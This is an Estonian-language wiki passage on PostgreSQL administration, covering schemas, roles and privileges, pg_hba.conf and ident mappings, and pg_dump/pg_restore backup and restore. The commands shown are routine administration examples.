Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
